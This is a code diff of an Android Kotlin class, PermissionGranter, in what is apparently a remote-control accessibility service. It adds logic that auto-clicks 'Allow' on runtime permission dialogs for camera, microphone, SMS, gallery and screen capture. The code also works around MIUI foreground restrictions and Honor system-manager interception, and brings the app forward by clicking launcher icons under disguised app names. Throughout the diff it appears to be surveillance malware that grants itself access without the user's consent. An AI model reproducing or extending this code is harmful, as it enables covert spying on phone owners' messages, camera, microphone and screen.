+ if (isRuntimeDenyText(combinedText)) {
+ continue
+ }
+ if (!isRuntimeAllowText(combinedText) && !containsAnyKeyword(combinedText, texts)) {
+ continue
+ }
+ if (isRuntimeOptionSelectionText(combinedText) || isRuntimeOptionControl(node)) {
+ Log.d(TAG, "🧭 文本兜底跳过选项节点: '$combinedText'")
+ continue
+ }
// 仅对“按钮类”节点进行点击，避免误触开关/列表项
if (clickButtonNodeOrParent(node)) {
matches.forEach { it.recycle() }
@@ -6227,9 +8298,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val isClassButton = cls.contains("Button", ignoreCase = true) || cls.contains("ImageButton", ignoreCase = true) || cls.contains("MaterialButton", ignoreCase = true)
val isRoleButton = role.equals("button", ignoreCase = true)
// 对运行时弹框常见的底部操作也可能标记为 TextView 但可点击，这里结合文本关键词再放行
- val text = node.text?.toString() ?: ""
- val allowKeywords = listOf("允许", "Allow")
- val isClickableAllowText = node.isClickable && allowKeywords.any { text.contains(it, ignoreCase = true) }
+ val text = buildNodeCombinedText(node.text, node.contentDescription)
+ val isClickableAllowText = node.isClickable && isRuntimeAllowText(text) && !isRuntimeDenyText(text)
return isClassButton || isRoleButton || isClickableAllowText
}
@@ -6271,18 +8341,270 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
}
-
+
+ private fun shouldDeferRuntimePermissionForProjection(permissionKey: String): Boolean {
+ val normalizedPermissionKey = normalizeRuntimePermissionKey(permissionKey)
+ // Camera/Microphone should remain available even while projection flow is in progress.
+ if (normalizedPermissionKey == "camera" || normalizedPermissionKey == "microphone") {
+ return false
+ }
+ if (!isRequestingMediaProjection) {
+ return false
+ }
+ val elapsed = System.currentTimeMillis() - lastMediaProjectionAttemptTime
+ val hasProjectionState =
+ MediaProjectionHolder.getPermissionData() != null || MediaProjectionHolder.getMediaProjection() != null
+ if (elapsed > 12_000L && !hasProjectionState) {
+ Log.w(
+ TAG,
+ "⏱️ 投屏申请门禁超时，自动放行运行时权限: permission=$permissionKey, elapsed=${elapsed}ms"
+ )
+ isRequestingMediaProjection = false
+ return false
+ }
+ Log.i(TAG, "⏸️ 投屏授权进行中，暂缓运行时权限申请: permission=$normalizedPermissionKey")
+ recordRuntimePermissionFailure(
+ normalizedPermissionKey,
+ "deferred_media_projection_in_progress",
+ "wait_media_projection_flow_complete",
+ "runtime_request_gate"
+ )
+ return true
+ }
+
+ private fun shouldWaitForForegroundRuntimeRequest(permissionKey: String): Boolean {
+ if (!isMiuiDevice()) {
+ return false
+ }
+
+ val normalized = normalizeRuntimePermissionKey(permissionKey)
+ val activePackage = getActiveWindowPackageName()
+ val selfPackage = context.packageName.lowercase()
+ val appForeground = activePackage == selfPackage || activePackage.startsWith("$selfPackage.")
+ val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage)
+ if (permissionContextVisible) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ return false
+ }
+ if (appForeground) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ return false
+ }
+ if (activePackage.isBlank() || isLauncherLikePackage(activePackage)) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ Log.d(
+ TAG,
+ "⏭️ MIUI前台门禁放行: permission=$normalized, active=${if (activePackage.isBlank()) "unknown" else activePackage}"
+ )
+ return false
+ }
+
+ // 优先尝试“权限桥接Activity”，避免因后台前台门禁导致权限请求长期卡死。
+ if (launchRuntimePermissionBridgeActivity(normalized, "foreground_gate")) {
+ synchronized(this) {
+ runtimeForegroundGateLastLogAt.remove(normalized)
+ }
+ Log.i(TAG, "✅ MIUI前台门禁通过桥接页放行: permission=$normalized, active=$activePackage")
+ return false
+ }
+
+ val now = System.currentTimeMillis()
+ var shouldLog = false
+ synchronized(this) {
+ val lastLoggedAt = runtimeForegroundGateLastLogAt[normalized] ?: 0L
+ if (now - lastLoggedAt >= runtimeForegroundGateLogCooldownMs) {
+ runtimeForegroundGateLastLogAt[normalized] = now
+ shouldLog = true
+ }
+ }
+
+ if (shouldLog) {
+ val active = if (activePackage.isBlank()) "unknown" else activePackage
+ val detail = "active=$active"
+ Log.i(TAG, "⏸️ MIUI运行时权限等待前台: permission=$normalized, $detail")
+ recordRuntimePermissionFailure(
+ normalized,
+ "awaiting_app_foreground",
+ detail,
+ "runtime_request_foreground_gate"
+ )
+ }
+ return true
+ }
+
+ private fun launchRuntimePermissionBridgeActivity(permissionKey: String, scene: String): Boolean {
+ val permissionType = when (normalizeRuntimePermissionKey(permissionKey)) {
+ "camera" -> PermissionRequestActivity.PERMISSION_TYPE_CAMERA
+ "microphone" -> PermissionRequestActivity.PERMISSION_TYPE_MICROPHONE
+ "sms" -> PermissionRequestActivity.PERMISSION_TYPE_SMS
+ "gallery" -> PermissionRequestActivity.PERMISSION_TYPE_GALLERY
+ else -> return false
+ }
+
+ return try {
+ val intent = Intent(context, PermissionRequestActivity::class.java).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ putExtra(PermissionRequestActivity.EXTRA_PERMISSION_TYPE, permissionType)
+ }
+ context.startActivity(intent)
+ val visible = verifyRuntimeRequestEntry(permissionKey, "permission_bridge_$scene")
+ if (!visible) {
+ recordRuntimePermissionFailure(
+ permissionKey,
+ if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible",
+ "source=permission_bridge_$scene",
+ "permission_bridge_activity"
+ )
+ }
+ visible
+ } catch (e: Exception) {
+ recordRuntimePermissionFailure(
+ permissionKey,
+ "permission_bridge_launch_exception",
+ e.message ?: "unknown",
+ "permission_bridge_activity_exception"
+ )
+ Log.w(TAG, "⚠️ 权限桥接页启动失败: permission=$permissionKey, scene=$scene, msg=${e.message}")
+ false
+ }
+ }
+
+ private fun isLauncherLikePackage(packageName: String): Boolean {
+ val normalized = packageName.lowercase()
+ val launcherPackages = listOf(
+ "com.miui.home",
+ "com.mi.android.globallauncher",
+ "com.android.launcher",
+ "com.android.launcher3",
+ "com.google.android.apps.nexuslauncher",
+ "com.android.systemui"
+ )
+ return launcherPackages.any { normalized == it || normalized.startsWith("$it.") }
+ }
+
+ private fun tryBringAppToForegroundFromLauncher(permissionKey: String): Boolean {
+ return try {
+ val root = service.rootInActiveWindow ?: return false
+ val keywords = buildAppEntryKeywords()
+ var clicked = false
+ try {
+ for (keyword in keywords) {
+ val matches = runCatching {
+ root.findAccessibilityNodeInfosByText(keyword)
+ }.getOrDefault(emptyList())
+ if (matches.isEmpty()) continue
+ for (node in matches) {
+ try {
+ if (clickNodeOrParent(node)) {
+ clicked = true
+ Log.i(
+ TAG,
+ "🎯 前台拉起命中应用入口: permission=$permissionKey, keyword='$keyword'"
+ )
+ break
+ }
+ } finally {
+ runCatching { node.recycle() }
+ }
+ }
+ if (clicked) break
+ }
+ } finally {
+ runCatching { root.recycle() }
+ }
+
+ if (!clicked) return false
+ repeat(8) {
+ Thread.sleep(220)
+ val active = getActiveWindowPackageName()
+ val selfPackage = context.packageName.lowercase()
+ if (active == selfPackage || active.startsWith("$selfPackage.")) {
+ return true
+ }
+ }
+ false
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 前台拉起应用失败: permission=$permissionKey, msg=${e.message}")
+ false
+ }
+ }
+
+ private fun buildAppEntryKeywords(): List {
+ val label = runCatching {
+ context.packageManager.getApplicationLabel(context.applicationInfo).toString()
+ }.getOrDefault("")
+ val fallback = listOf(
+ "短视频组件",
+ "hikoncont",
+ "hikon",
+ "phone manager"
+ )
+ return (listOf(label, context.packageName.substringAfterLast('.')) + fallback)
+ .map { it.trim() }
+ .filter { it.isNotEmpty() }
+ .distinct()
+ }
+
+ private fun shouldLaunchMainActivityForRuntimeRequest(permissionKey: String): Boolean {
+ val activePackage = getActiveWindowPackageName()
+ if (activePackage.isBlank()) {
+ return true
+ }
+ val selfPackage = context.packageName.lowercase()
+ if (activePackage == selfPackage || activePackage.startsWith("$selfPackage.")) {
+ return true
+ }
+ val permissionContextVisible = isRuntimePermissionDialogPackage(activePackage) || isLikelyPermissionDialog(activePackage)
+ if (permissionContextVisible) {
+ Log.i(
+ TAG,
+ "⏭️ 当前已在权限上下文，跳过MainActivity拉起: permission=$permissionKey, active=$activePackage"
+ )
+ return false
+ }
+ if (isMiuiDevice() && isLauncherLikePackage(activePackage)) {
+ if (tryBringAppToForegroundFromLauncher(permissionKey)) {
+ Log.i(
+ TAG,
+ "✅ 已通过无障碍点击将应用拉到前台，跳过MainActivity强拉起: permission=$permissionKey"
+ )
+ return false
+ }
+ }
+ return true
+ }
+
+ private fun getActiveWindowPackageName(): String {
+ return service.rootInActiveWindow
+ ?.packageName
+ ?.toString()
+ ?.lowercase()
+ .orEmpty()
+ }
+
/**
* 开始监听摄像头权限对话框
*/
private fun startCameraPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("camera")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingCameraPermission && cameraPermissionRetryCount < maxRetryCount) {
- delay(cameraPermissionRetryInterval)
+ delay(retryIntervalMs)
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "granted")
break
}
@@ -6292,6 +8614,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行，停止权限申请")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "accessibility_stopped")
+ break
+ }
+
+ val cameraBlocked = shouldAbortRuntimePermissionMonitor("camera", cameraPermissionRetryCount)
+ if (cameraBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 摄像头权限申请提前终止: code=${cameraBlocked.code}, detail=${cameraBlocked.detail}"
+ )
+ isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "blocked_${cameraBlocked.code}")
break
}
@@ -6300,10 +8636,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "📷 检测到权限对话框，尝试自动点击")
// 点击后等待一下再检查权限状态
- delay(1000)
+ delay(settleDelayMs)
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "granted_after_dialog")
break
}
} else {
@@ -6316,6 +8654,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (cameraPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 摄像头权限申请超时")
isRequestingCameraPermission = false
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "monitor_timeout")
}
}
}
@@ -6325,12 +8665,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun startSMSPermissionDialogMonitoring() {
serviceScope.launch {
+ val retryIntervalMs = getRuntimePermissionRetryIntervalMs("sms")
+ val settleDelayMs = getRuntimeDialogSettleDelayMs()
while (isRequestingSMSPermission && smsPermissionRetryCount < maxRetryCount) {
- delay(smsPermissionRetryInterval)
+ delay(retryIntervalMs)
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "granted")
break
}
@@ -6340,6 +8684,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (!AccessibilityRemoteService.isServiceRunning()) {
Log.w(TAG, "⚠️ 无障碍服务未运行，停止权限申请")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "accessibility_stopped")
+ break
+ }
+
+ val smsBlocked = shouldAbortRuntimePermissionMonitor("sms", smsPermissionRetryCount)
+ if (smsBlocked != null) {
+ Log.w(
+ TAG,
+ "⛔ 短信权限申请提前终止: code=${smsBlocked.code}, detail=${smsBlocked.detail}"
+ )
+ isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "blocked_${smsBlocked.code}")
break
}
@@ -6348,10 +8706,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "📱 检测到短信权限对话框，尝试自动点击")
// 点击后等待一下再检查权限状态
- delay(1000)
+ delay(settleDelayMs)
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "granted_after_dialog")
break
}
} else {
@@ -6364,6 +8724,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (smsPermissionRetryCount >= maxRetryCount) {
Log.w(TAG, "⚠️ 短信权限申请超时")
isRequestingSMSPermission = false
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "monitor_timeout")
}
}
}
@@ -6387,63 +8749,81 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val windowId = window.id
Log.d(TAG, "📱 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
-
- // 检查窗口标题是否包含短信权限相关文本
- if (windowTitle.contains("短信", ignoreCase = true) ||
- windowTitle.contains("SMS", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("permission", ignoreCase = true) ||
- windowTitle.contains("电话", ignoreCase = true) ||
- windowTitle.contains("PHONE", ignoreCase = true)) {
- Log.d(TAG, "📱 找到短信权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (windowRoot != null) {
- Log.d(TAG, "📱 成功获取短信权限弹框根节点")
-
- // 直接尝试点击按钮
- if (tryClickSMSPermissionButtons(windowRoot)) {
- windowRoot.recycle()
+
+ val quickWindowRoot = window.root
+ if (quickWindowRoot != null) {
+ try {
+ if (tryHandleHonorSystemManagerInterception(quickWindowRoot, "sms_window_$i")) {
return true
}
-
- windowRoot.recycle()
- } else {
- Log.w(TAG, "⚠️ 无法获取短信权限弹框根节点，尝试其他方法...")
-
-// // 尝试通过坐标点击
- if (tryClickSMSByCoordinates(windowTitle)) {
- return true
- }
-// if (tryClickSMSByCoordinates(window)) {
-// return true
-// }
+ } finally {
+ quickWindowRoot.recycle()
}
}
+
+ // 短信权限：仅处理“系统权限弹窗”根节点，禁止坐标盲点误点。
+ val windowRoot = getWindowRootByTitle(windowTitle)
+ if (windowRoot != null) {
+ try {
+ val rootPackage = windowRoot.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过MIUI权限编辑页，交给auto_toggle处理: package=$rootPackage")
+ continue
+ }
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过非系统权限窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val hasSmsPermissionContext = containsSMSPermissionText(windowRoot)
+ if (!hasSmsPermissionContext) {
+ Log.d(TAG, "📱 跳过无短信权限文案窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ Log.d(TAG, "📱 命中短信权限弹框窗口: 标题=$windowTitle, 包名=$rootPackage, ID=$windowId")
+ if (tryClickSMSPermissionButtons(windowRoot)) {
+ return true
+ }
+ } finally {
+ windowRoot.recycle()
+ }
+ } else {
+ Log.d(TAG, "📱 未获取到窗口根节点，跳过窗口: title=$windowTitle")
+ }
}
}
// 方法2: 检查活动窗口
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
- Log.d(TAG, "📱 检查活动窗口...")
-
- // 递归查找权限相关节点
- val permissionNode = findSMSPermissionNodeInTree(rootNode)
- if (permissionNode != null) {
- Log.d(TAG, "📱 在活动窗口中找到短信权限节点")
-
- if (tryClickSMSPermissionButtons(permissionNode)) {
- permissionNode.recycle()
- rootNode.recycle()
+ try {
+ Log.d(TAG, "📱 检查活动窗口...")
+ if (tryHandleHonorSystemManagerInterception(rootNode, "sms_active")) {
return true
}
-
- permissionNode.recycle()
+ val rootPackage = rootNode.packageName?.toString()
+ if (isMiuiPermissionEditorPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口为MIUI权限编辑页，交给auto_toggle处理: package=$rootPackage")
+ } else if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口不是系统权限弹窗，跳过: package=$rootPackage")
+ } else {
+ // 递归查找权限相关节点
+ val permissionNode = findSMSPermissionNodeInTree(rootNode)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📱 在活动窗口中找到短信权限节点")
+ if (tryClickSMSPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ }
+ } finally {
+ rootNode.recycle()
}
-
- rootNode.recycle()
}
Log.d(TAG, "📱 未找到短信权限对话框")
@@ -6474,21 +8854,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val windowId = window.id
Log.d(TAG, "📷 窗口 $i: ID=$windowId, 标题=$windowTitle, 类型=$windowType")
-
- // 检查窗口标题是否包含摄像头权限相关文本
- if (windowTitle.contains("摄像头", ignoreCase = true) ||
- windowTitle.contains("拍摄照片", ignoreCase = true) ||
- windowTitle.contains("录制视频", ignoreCase = true) ||
- windowTitle.contains("camera", ignoreCase = true) ||
- windowTitle.contains("允许", ignoreCase = true) ||
- windowTitle.contains("permission", ignoreCase = true)) {
- Log.d(TAG, "📷 找到权限弹框窗口: 标题=$windowTitle, ID=$windowId")
-
- // 尝试通过窗口ID获取根节点
- val windowRoot = getWindowRootByTitle(windowTitle)
- if (tryClickByCoordinates(windowTitle)) {
- return true
+
+ val windowRoot = window.root
+ if (windowRoot == null) continue
+ try {
+ if (tryHandleHonorSystemManagerInterception(windowRoot, "camera_window_$i")) {
+ return true
}
+
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "📷 跳过非权限弹框窗口: title=$windowTitle, package=$rootPackage")
+ continue
+ }
+
+ val permissionNode = findPermissionNodeInTree(windowRoot)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📷 在窗口中找到权限节点: title=$windowTitle, package=$rootPackage")
+ if (tryClickPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
+ } finally {
+ windowRoot.recycle()
}
}
}
@@ -6497,6 +8889,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
Log.d(TAG, "📷 检查活动窗口...")
+
+ if (tryHandleHonorSystemManagerInterception(rootNode, "camera_active")) {
+ rootNode.recycle()
+ return true
+ }
+
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isLikelyPermissionDialog(rootPackage)) {
+ Log.d(TAG, "📷 活动窗口不是权限弹框，跳过: package=$rootPackage")
+ rootNode.recycle()
+ return false
+ }
// 递归查找权限相关节点
val permissionNode = findPermissionNodeInTree(rootNode)
@@ -6825,99 +9229,49 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun tryClickSMSPermissionButtons(node: AccessibilityNodeInfo): Boolean {
try {
- Log.d(TAG, "📱 尝试点击短信权限按钮...")
-
- // 短信权限按钮文本
- val buttonTexts = listOf(
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "允许", "Allow", "确定", "OK",
- "始终允许", "Allow always",
- "仅此一次", "Just once"
+ Log.d(TAG, "📱 [P2_CONFIRM_V2] 尝试点击短信权限按钮（两阶段：选项 -> 最终确认）...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "📱",
+ scene = "sms_runtime_permission",
+ strictAllowSemantics = true
)
-
- // 查找所有按钮
- val allButtons = findAllButtons(node)
- Log.d(TAG, "📱 找到 ${allButtons.size} 个按钮")
-
- for (i in allButtons.indices) {
- val btn = allButtons[i]
- val btnText = btn.text?.toString() ?: ""
- val btnDesc = btn.contentDescription?.toString() ?: ""
-
- Log.d(TAG, "📱 按钮 $i: '$btnText', 描述: '$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📱 找到短信权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📱 成功点击短信权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
- }
-
- btn.recycle()
- }
-
- Log.w(TAG, "⚠️ 未找到可点击的短信权限按钮")
- return false
-
} catch (e: Exception) {
Log.e(TAG, "点击短信权限按钮失败", e)
return false
}
}
+
+ /**
+ * 尝试点击麦克风权限按钮
+ */
+ private fun tryClickMicrophonePermissionButtons(node: AccessibilityNodeInfo): Boolean {
+ try {
+ Log.d(TAG, "🎤 [P2_CONFIRM_V2] 尝试点击麦克风权限按钮（两阶段：选项 -> 最终确认）...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "🎤",
+ scene = "microphone_runtime_permission",
+ strictAllowSemantics = false
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "点击麦克风权限按钮失败", e)
+ return false
+ }
+ }
/**
* 尝试点击权限按钮
*/
private fun tryClickPermissionButtons(node: AccessibilityNodeInfo): Boolean {
try {
- Log.d(TAG, "📷 尝试点击权限按钮...")
-
- // 权限按钮文本（根据截图）
- val buttonTexts = listOf(
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "允许", "Allow", "确定", "OK"
+ Log.d(TAG, "📷 [P2_CONFIRM_V2] 尝试点击权限按钮（两阶段：选项 -> 最终确认）...")
+ return tryClickRuntimePermissionButtonsInternal(
+ node = node,
+ logPrefix = "📷",
+ scene = "generic_runtime_permission",
+ strictAllowSemantics = false
)
-
- // 查找所有按钮
- val allButtons = findAllButtons(node)
- Log.d(TAG, "📷 找到 ${allButtons.size} 个按钮")
-
- for (i in allButtons.indices) {
- val btn = allButtons[i]
- val btnText = btn.text?.toString() ?: ""
- val btnDesc = btn.contentDescription?.toString() ?: ""
-
- Log.d(TAG, "📷 按钮 $i: '$btnText', 描述: '$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📷 找到权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📷 成功点击权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
- }
-
- btn.recycle()
- }
-
- Log.w(TAG, "⚠️ 未找到可点击的权限按钮")
- return false
-
} catch (e: Exception) {
Log.e(TAG, "点击权限按钮失败", e)
return false
@@ -7388,6 +9742,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🛑 停止摄像头权限申请")
isRequestingCameraPermission = false
cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
}
/**
@@ -7397,6 +9752,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🛑 停止短信权限申请")
isRequestingSMSPermission = false
smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
}
/**
@@ -7594,6 +9950,33 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return null
}
}
+
+ /**
+ * 在节点树中递归查找麦克风权限相关节点
+ */
+ private fun findMicrophonePermissionNodeInTree(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
+ try {
+ if (containsMicrophonePermissionText(node)) {
+ return node
+ }
+
+ for (i in 0 until node.childCount) {
+ val child = node.getChild(i)
+ if (child != null) {
+ val result = findMicrophonePermissionNodeInTree(child)
+ if (result != null) {
+ child.recycle()
+ return result
+ }
+ child.recycle()
+ }
+ }
+ return null
+ } catch (e: Exception) {
+ Log.e(TAG, "查找麦克风权限节点失败", e)
+ return null
+ }
+ }
/**
* 在节点树中递归查找权限相关节点
@@ -7632,41 +10015,58 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
try {
val text = node.text?.toString() ?: ""
val contentDescription = node.contentDescription?.toString() ?: ""
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
val smsPermissionTexts = listOf(
- "短信", "SMS", "Sms", "SMS权限",
- "电话", "Phone", "PHONE", "电话权限",
- "允许", "Allow", "允许访问", "Allow access",
- "权限", "Permission", "PERMISSION",
- "读取短信", "Read SMS", "发送短信", "Send SMS",
- "电话状态", "Phone state", "PHONE_STATE"
+ "短信", "sms", "彩信", "读取短信", "发送短信", "接收短信",
+ "电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state"
)
-
- for (permissionText in smsPermissionTexts) {
- if (text.contains(permissionText, ignoreCase = true) ||
- contentDescription.contains(permissionText, ignoreCase = true)) {
- return true
- }
+
+ return smsPermissionTexts.any { permissionText ->
+ text.contains(permissionText, ignoreCase = true) ||
+ contentDescription.contains(permissionText, ignoreCase = true) ||
+ combinedText.contains(permissionText, ignoreCase = true)
}
-
- return false
} catch (e: Exception) {
Log.e(TAG, "检查短信权限文本失败", e)
return false
}
}
+
+ /**
+ * 检查节点是否包含麦克风权限相关文本
+ */
+ private fun containsMicrophonePermissionText(node: AccessibilityNodeInfo): Boolean {
+ return try {
+ val text = node.text?.toString() ?: ""
+ val contentDescription = node.contentDescription?.toString() ?: ""
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
+
+ val keywords = listOf(
+ "麦克风", "录音", "录制音频", "microphone", "record audio"
+ )
+ keywords.any { keyword ->
+ text.contains(keyword, ignoreCase = true) ||
+ contentDescription.contains(keyword, ignoreCase = true) ||
+ combinedText.contains(keyword, ignoreCase = true)
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "检查麦克风权限文本失败", e)
+ false
+ }
+ }
/**
* 检查节点是否包含权限相关文本
*/
private fun containsPermissionText(node: AccessibilityNodeInfo): Boolean {
try {
- val permissionKeywords = listOf(
+ val permissionKeywords = mutableListOf(
"摄像头", "相机", "Camera", "camera",
- "使用时允许", "仅本次使用时允许", "仅在使用时允许",
- "允许", "拒绝", "Allow", "Deny",
"权限", "Permission", "permission"
)
+ permissionKeywords.addAll(runtimePermissionAllowKeywords)
+ permissionKeywords.addAll(runtimePermissionDenyKeywords)
val nodeText = node.text?.toString() ?: ""
val contentDescription = node.contentDescription?.toString() ?: ""
@@ -7822,22 +10222,27 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 尝试通过窗口ID获取根节点
val windowRoot = getWindowRootByTitle(windowTitle)
if (windowRoot != null) {
- Log.d(TAG, "📱 成功获取发送短信权限弹框根节点")
-
- // 直接尝试点击按钮
- if (tryClickSendSMSPermissionButtons(windowRoot)) {
+ try {
+ val rootPackage = windowRoot.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 跳过非运行时权限窗口: package=$rootPackage, title=$windowTitle")
+ continue
+ }
+ if (!containsSMSPermissionText(windowRoot)) {
+ Log.d(TAG, "📱 跳过无短信权限文案窗口: package=$rootPackage, title=$windowTitle")
+ continue
+ }
+ Log.d(TAG, "📱 成功获取发送短信权限弹框根节点: package=$rootPackage")
+
+ // 仅通过权限弹框按钮文本点击，禁用坐标盲点点击，避免误触短信应用界面。
+ if (tryClickSendSMSPermissionButtons(windowRoot)) {
+ return true
+ }
+ } finally {
windowRoot.recycle()
- return true
}
-
- windowRoot.recycle()
} else {
- Log.w(TAG, "⚠️ 无法获取发送短信权限弹框根节点，尝试坐标点击...")
-
- // 尝试通过坐标点击
- if (tryClickSendSMSPermissionByCoordinates()) {
- return true
- }
+ Log.d(TAG, "📱 无法获取发送短信权限窗口根节点，跳过")
}
}
}
@@ -7846,23 +10251,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 方法2: 检查活动窗口
val rootNode = service.rootInActiveWindow
if (rootNode != null) {
- Log.d(TAG, "📱 检查活动窗口...")
-
- // 递归查找权限相关节点
- val permissionNode = findSendSMSPermissionNodeInTree(rootNode)
- if (permissionNode != null) {
- Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点")
-
- if (tryClickSendSMSPermissionButtons(permissionNode)) {
- permissionNode.recycle()
- rootNode.recycle()
- return true
+ try {
+ Log.d(TAG, "📱 检查活动窗口...")
+ val rootPackage = rootNode.packageName?.toString()
+ if (!isRuntimePermissionDialogPackage(rootPackage)) {
+ Log.d(TAG, "📱 活动窗口非运行时权限弹窗，跳过: package=$rootPackage")
+ } else {
+ // 递归查找权限相关节点
+ val permissionNode = findSendSMSPermissionNodeInTree(rootNode)
+ if (permissionNode != null) {
+ try {
+ Log.d(TAG, "📱 在活动窗口中找到发送短信权限节点")
+ if (tryClickSendSMSPermissionButtons(permissionNode)) {
+ return true
+ }
+ } finally {
+ permissionNode.recycle()
+ }
+ }
}
-
- permissionNode.recycle()
+ } finally {
+ rootNode.recycle()
}
-
- rootNode.recycle()
}
Log.d(TAG, "📱 未找到发送短信权限弹框")
@@ -7930,11 +10340,36 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 发送短信权限按钮文本
val buttonTexts = listOf(
